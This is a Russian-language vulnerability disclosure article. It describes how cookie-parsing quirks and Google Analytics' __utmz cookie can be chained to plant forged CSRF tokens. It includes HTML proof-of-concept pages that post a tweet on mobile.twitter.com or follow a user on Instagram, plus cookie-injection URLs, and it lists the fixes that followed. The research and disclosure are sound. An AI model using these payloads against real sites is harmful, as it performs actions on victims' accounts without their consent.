Pull to refresh

Не все cookie одинаково полезны

Reading time 9 min
Views 38K
В этой статье я хотел бы рассказать о том, как можно объединить небольшие недочеты в обработке cookie-значений в цепочку, и произвести за счет этого атаку на пользователей популярных веб-приложений.
image


История началась больше года назад, когда я испытывал программу DOMinator для поиска DOM-Based XSS на сайтах Bug Bounty программ. Одним из первых предупреждений, которое я получил, была уязвимость Cookie Injection в JavaScript сценарии Google Analytics.

При обращении к сайту с Google Analytics, сценарий обрабатывает значение HTTP заголовка Referer и извлекает из него host и путь к сценарию, для отслеживания откуда пришел пользователь. В дальнейшем эти данные попадают в cookie параметр __utmz.

Выглядит это следующим образом:
__utmz=123.123.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

Изменяя путь к сценарию на своем сайте, с которого пользователь переходит на сайт с Google Analytics, можно влиять на конец значения cookie __utmz и попытаться изменить атрибуты cookie, так как путь никак не обрабатывается перед попаданием в значение. Однако, атрибуты будут перезаписаны последующими значениями, которые подставляет Google Analytics.

blackfan.ru/x/injection;injection=injection?r=http://site.com/

Результат:
document.cookie=__utmz=blah...|utmcct=/x/injection;injection=injection; path=/; domain=.site.com

На данный момент это было сложно назвать уязвимостью, но тем не менее поведение сценария довольно интересное, к тому же он невероятно распространен.

Bug Bounty и Cookie


Небольшое отступление. Уязвимости, связанные с cookie, в рамках программ вознаграждения за уязвимости, примечательны тем, что у вас может получится два основных сценария:

  • Найдена возможность перезаписи и создания произвольных cookie параметров.
    Ответ: Это всего лишь cookie, что это тебе даст?
  • Найдена XSS через cookie параметр.
    Ответ: Ты ведь не можешь создать произвольный cookie параметр, значит, это не уязвимость!

И только если оба варианта оказались в рамках одной Bug Bounty программы, то вам, так уж и быть, заплатят.

Необходимость каждый раз доказывать угрозу от проблем, связанных с сookie, зачастую отталкивает людей от их поиска. Так как за потраченное на это время можно найти еще десяток уязвимостей, которые будут приняты без вопросов. В основном проверяются только самые базовые вещи, типа фиксации сессии и правильности установленных атрибутов secure, httpOnly…

Cookie


Взглянем на структуру сookie заголовков:

Set-Cookie: par=val; path=/; httpOnly; secure;
Cookie: par=val; par2="val2"; par3=val3;

Структура довольно сложная и с ней работают при каждом запросе браузер, JavaScript сценарии и веб-сервер. Каждый при этом обрабатывает по-своему, и одна и та же строка может дать разные результаты.

Анализируя обработку cookie необходимо задаться следующими вопросами:

  1. Нужны ли пробелы после ;
  2. Какие символы можно использовать вместо ;
  3. Какое значение будет результирующее в случае одинаковых ключей
  4. Важен ли регистр у ключей
  5. Сколько может быть атрибутов у параметра
  6. Какое значение будет результирующее в случае одинаковых атрибутов
  7. Как правильно кодировать спецсимволы

Особенности обработки Cookie


Первая и наиболее известная особенность — Safari позволяет объявлять несколько параметров через один заголовок Set-Cookie.

Set-Cookie: param1=value1; path=/, param2=value2; httpOnly;

Возвращаясь к проблеме Google Analytics, проверим данную особенность в установке cookie через JavaScript. Получаем первый вариант эксплуатации:

blackfan.ru/x/injection;,injection_cookie=injection;?r=http://site.com/

Результат
document.cookie=__utmz=blah...|utmcct=/r/injection;,injection_cookie=injection; path=/; domain=.site.com

Safari создаст два cookie параметра __utmz и injection_cookie.

То есть, для пользователя Safari на любом сайте с Google Analytics можно создать произвольный cookie параметр. Осталось только придумать зачем…

CSRF


Защиту от CSRF можно условно разделить на 3 типа:
  1. Различные токены для каждого действия. Хранятся на сервере.
  2. Один сессионный токен на все действия. Хранится на сервере в сессии пользователя.
  3. Один сессионный токен на все действия. Хранится в cookie параметре.

Третий вариант основывается на том, что значение токена в cookie пользователя недоступно для злоумышленника. Для прохождения проверки достаточно просто послать одинаковое значение токена в cookie и post параметрах. То есть, простая перезапись значения через Google Analytics тут подойдет идеально.

Особенности обработки Cookie #2


Что если развернуть атаку на 180 градусов? Не обязательно, чтобы в браузере действительно был cookie параметр с CSRF токеном, значение которого мы знаем. Достаточно, чтобы так считал веб-сервер.

В этом поможет еще одна обнаруженная особенность обработки сookie.

RFC2109
Note: For backward compatibility, the separator in the Cookie header
is semi-colon (;) everywhere. A server should also accept comma (,)
as the separator between cookie-values for future compatibility.

Многие веб-серверы поддерживают перечисление сookie не только через точку с запятой, но и через запятую.

Cookie: par=val; par2="val2"; par3=val3;
Cookie: par=val, par2="val2", par3=val3,

Более того, в некоторых случаях пробел не обязателен.

Cookie: par=val;par2="val2";par3=val3;
Cookie: par=val,par2="val2",par3=val3,

В свою очередь, для большинства браузеров такие символы как пробел и запятая являются вполне нормальными. И если установить:

Set-Cookie: par=val, csrftoken=val2;
document.cookie="par=val, csrftoken=val2;";

Для браузера это будет одно значение, но для некоторых серверных реализаций — два сookie параметра. Однако, в случае эксплуатации данных особенностей для обхода CSRF защиты, необходимо помнить, что мы не перезаписываем старый токен, а добавляем еще один, то есть важен порядок обработки сookie.

Cookie: csrftoken=realvalue; par=val, csrftoken=fakevalue;

Итого получается уже две цепочки эксплуатации уязвимости:

Safari -> WebApp (GA & Double Submit Cookies)

Любой браузер -> WebApp (GA & Double Submit Cookies & Запятая, как разделитель cookie)

Эксплуатация


После подготовки неплохой базы, необходима проверка в реальных условиях. Практически сразу находится идеальный вариант mobile.twitter.com.

На нем реализована CSRF защита, основанная на cookie, сервер поддерживает перечисление cookie через запятую без пробела, но… На нем нет Google Analytics. Зато он есть на translate.twitter.com! Самое время проверить обработку атрибутов cookie значений, а если точнее, проверить возможность отбрасывания добавляемых в конце значений path и domain в случае, если инъекция происходит в значение cookie.

Оказалось, что Google Chrome в случае большого количества атрибутов cookie в какой-то момент просто прекращает их разбирать и не доходит до последних валидных значений.

То есть, в данном случае:

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; [...]; domain=blah.blah.blah.google.com;

Cookie будет установлена на .google.com, а не на blah.blah.blah.google.com.

Таким образом, добавляется еще одна цепочка эксплуатации:

Chrome -> WebApp 1 (Double Submit Cookies & Запятая, как разделитель cookie) & WebApp 2 (GA)

Формируем PoC:

<html>  
  <body>  
    <form style="display:none;" id="csrf" action="https://mobile.twitter.com/api/tweet" method="POST">  
      <input type="hidden" name="tweet[text]" value="PoC" />  
      <input type="hidden" name="m5_csrf_tkn" value="x" />  
      <input type="submit" value="Submit request" />  
    </form>  
    <script>  
    function xxx() {  
      setTimeout("document.getElementById('csrf').submit();",5000);  
    }  
    </script>  
    <a target="_blank" href="http://blackfan.ru/x/,m5_csrf_tkn=x,;domain=.twitter.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://translate.twitter.com/" onclick="xxx()">
    Tweet "PoC"
    </a>  
  </body>  
</html>  

Описание:
  1. Пользователь авторизован на twitter.com
  2. Мобильная версия mobile.twitter.com подхватывает сессию основного сайта даже если пользователь не заходил на нее
  3. Предполагаем, что пользователь не был на translate.twitter.com и у него не установлена cookie __utmz на нем
  4. Передаем Referer с путем, в котором содержится инъекция в cookie, на сайт translate.twitter.com
  5. Google Analytics создает сookie __utmz=blah...|,m5_csrf_tkn=x,
  6. Из-за большого количества атрибутов Chrome перезаписывает domain на .twitter.com
  7. Ждем окончание обработки запроса и посылаем еще один запрос на создание твита «PoC», используя токен «x»
  8. В соответствии с порядком отправленных cookie, mobile.twitter.com берет наше значение токена «x» и убеждается, что значение в post запросе и в cookie одинаковые
  9. У пользователя появляется твит PoC

Особенности обработки Cookie #3


Следующей целью стал instagram.com, а точнее все сайты на Django. CSRF защита в Django также основана на cookie. Для успешного прохождения проверки достаточно послать одинаковые значения в cookie csrftoken и post параметре csrfmiddlewaretoken, либо в HTTP заголовке X-CSRFToken. Однако, есть дополнительная проверка, которая в дальнейшем может помешать. В случае, если сайт работает по HTTPS, Django проверяет заголовок Referer и, в случае несовпадения, блокирует запрос, даже если в нем указан правильный токен. Post запросы без Referer также блокируются.

В ходе изучения обработки сookie в Django были обнаружены следующие особенности:

  1. В качестве разделителя не обязательно использовать точку с запятой, достаточно любого пробельного символа между параметрами
    Cookie: test=test test2=test2
  2. Если в значении сookie есть символы [ \ ], то первая часть сookie отбрасывается
    Cookie: test=test]test2=test2.
    В результате создается только сookie test2.

Оказалось, что данная проблема даже не в Django, а в Python. Библиотека Cookie обрабатывает значения в соответствии с RFC2109. И действительно оказывается, что использование символов [ \ ] не предусмотрено, если значение не обрамлено двойными кавычками. Для браузеров же использование этих символов — вполне нормальное явление.

PoC для instagram практически идентичен предыдущему:

<html>  
  <body>  
    <form action="http://instagram.com/web/friendships/[user_id]/follow/?ref=emptyfeed" id="csrf" method="POST">  
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />  
      <input type="submit" value="Submit request" />  
    </form>  
    <script>  
      function xxx() {  
        document.getElementById('csrf').submit();  
      }  
    </script>  
    <iframe src="http://blackfan.ru/x/]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/" onload="xxx()"/>  
  </body>  
</html>

Для пробрасывания cookie __utmz используется blog.instagram.com, а для создания токена конструкция /r/]csrftoken=x,;domain=.instagram.com;.

Особенности обработки Cookie #4


После общения с Google, Twitter, Facebook, Django и Python я вновь решил попробовать обойти их исправления.

Произошли следующие изменения условий:
  1. Google Analytics начал отбрасывать часть после точки с запятой и принудительно заменять пробел на %20
  2. Python исправил некорректную обработку [ \ ]

Однако, все еще оставалась возможность перечисления cookie через пробельный символ в Django, чему сильно мешала замена используемая Google.

Проверка пробельных символов показала следующее:
  1. Internet Explorer заменяет символы \x09 \x0b \x0c на _
  2. Chrome не устанавливает cookie, если оно содержит символы \x09 \x0b \x0c
  3. FireFox считает данные символы нормальными

В результате чего получается следующий вариант эксплуатации для FireFox

instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken%3dx

Особенности обработки Cookie #5


Также я обнаружил еще один интересный вариант в некоторых серверных реализациях, но пока не нашел применения в реальных условиях. При использовании спецсимволов в cookie, значение обрамляют в двойные кавычки. Данное поведение можно использовать следующим образом:

Set-Cookie: test="test
Set-Cookie: foo=bar
Set-Cookie: test2="

Для браузеров двойные кавычки не являются каким-то особым символом и в результате получится такой заголовок:

Cookie: test="test; foo=bar; test2="

Но некоторые веб-серверы могут обработать данные значения, как один параметр test, в результате чего параметр foo=bar не будет создан. При совпадении невероятного количества условий, данная особенность также может быть использована.

Результаты


Варианты эксплуатации

Safari -> WebApp (GA & Double Submit Cookies)
Любой браузер -> WebApp (GA & Double Submit Cookies & Запятая, как разделитель cookie)
Chrome -> WebApp 1 (Double Submit Cookies & Запятая, как разделитель cookie) & WebApp 2 (GA)
FireFox -> WebApp (GA & Double Submit Cookies & Пробельные символы, как разделитель cookie)

Фиксы

  1. В Google Analytics добавили принудительную замену пробела на %20 в значении cookie (сомнительное улучшение)
  2. В Google Analytics исправили возможность изменить атрибуты cookie путем отбрасывания всего, что идет после символа ";"
  3. Google Chrome НЕ будет исправлять перезапись с помощью большого количества атрибутов, так как возможности устанавливать произвольные атрибуты не должно быть у клиента изначально
  4. Python исправил проблему с символами [ \ ] (https://hg.python.org/cpython/rev/270f61ec1157)
  5. Twitter изменили тип CSRF защиты на сайте mobile.twitter.com

При общении с Google я столкнулся с тотальным непониманием сути уязвимости. От меня требовали примера на сайтах Google, которого у меня не было, и их совершенно не интересовало, что Google Analytics может нести угрозу на других сайтах. И лишь спустя десяток писем мой отчет попал к Krzysztof’у (судя по всему это был @kkotowicz), который разобрался что к чему и донес информацию до соответствующих разработчиков.
Tags:
Hubs:
+54
Comments 5
Comments Comments 5

Articles